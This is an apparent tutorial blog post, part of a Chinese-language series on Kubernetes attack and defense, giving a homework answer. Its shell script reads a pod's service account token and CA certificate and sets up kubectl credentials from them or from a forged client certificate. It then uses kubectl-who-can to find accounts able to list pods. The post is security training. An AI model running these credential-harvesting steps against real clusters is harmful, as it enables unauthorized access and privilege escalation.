iT邦幫忙

2023 iThome 鐵人賽

DAY 15
0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 21

Day17 - 作業5 解答 - 調整腳本套用憑證資訊以及取得讀取 Pod 權限

  • 分享至 

  • xImage
  •  

Yes

  • 作業 5 題目 : 請調整腳本去進行自動化的讀取 token、ca.crt、csr-test.key、csr-test.crt,並且於設定資料後切換 context,傳入參數不限方便使用即可。並練習利用 aquasecurity/kubectl-who-can 去挑選其他標的出來試試看。

  • 參考答案 :

    token_file="/var/run/secrets/kubernetes.io/serviceaccount/token"
    ca_crt_file="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
    
    token=`cat $token_file`
    
    echo "kubectl in $1..."
    echo "api server in $2..."
    echo "client-key in $3..."
    echo "client-certificate in $4..."
    
    $1 config set-cluster cfc --server=$2 --certificate-authority=$ca_crt_file ;
    $1 config set-context cfc --cluster=cfc ;
    
    if [ -z $3  ] || [ -z $4 ] ; then
        $1 config set-credentials user --token=$token ;
    else
        $1 config set-credentials user --client-key=$3 --client-certificate=$4 --embed-certs=true ;
    fi
    
    $1 config set-context cfc --user=user ;
    $1 config use-context cfc ;
    
  • 使用方式

    sh [腳本名稱] /kubectl https://10.96.0.1 csr-test.key csr-test.crt ;
    
  • 先安裝 aquasecurity/kubectl-who-can,然後這次目標設定為能夠列出 pod 權限的使用者。

    mkdir kubectl-who-can && cd kubectl-who-can ;
    wget https://github.com/aquasecurity/kubectl-who-can/releases/download/v0.4.0/kubectl-who-can_linux_x86_64.tar.gz ;
    tar xvf kubectl-who-can_linux_x86_64.tar.gz ;
    
    #發現 user system:kube-scheduler 可以執行
    ./kubectl-who-can get pods ; 
    

上一篇
Day17 - (攻擊) k8s Certificate Signing 提權 (含作業5)
下一篇
Day18 - (攻擊) 介紹攻擊 api server
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言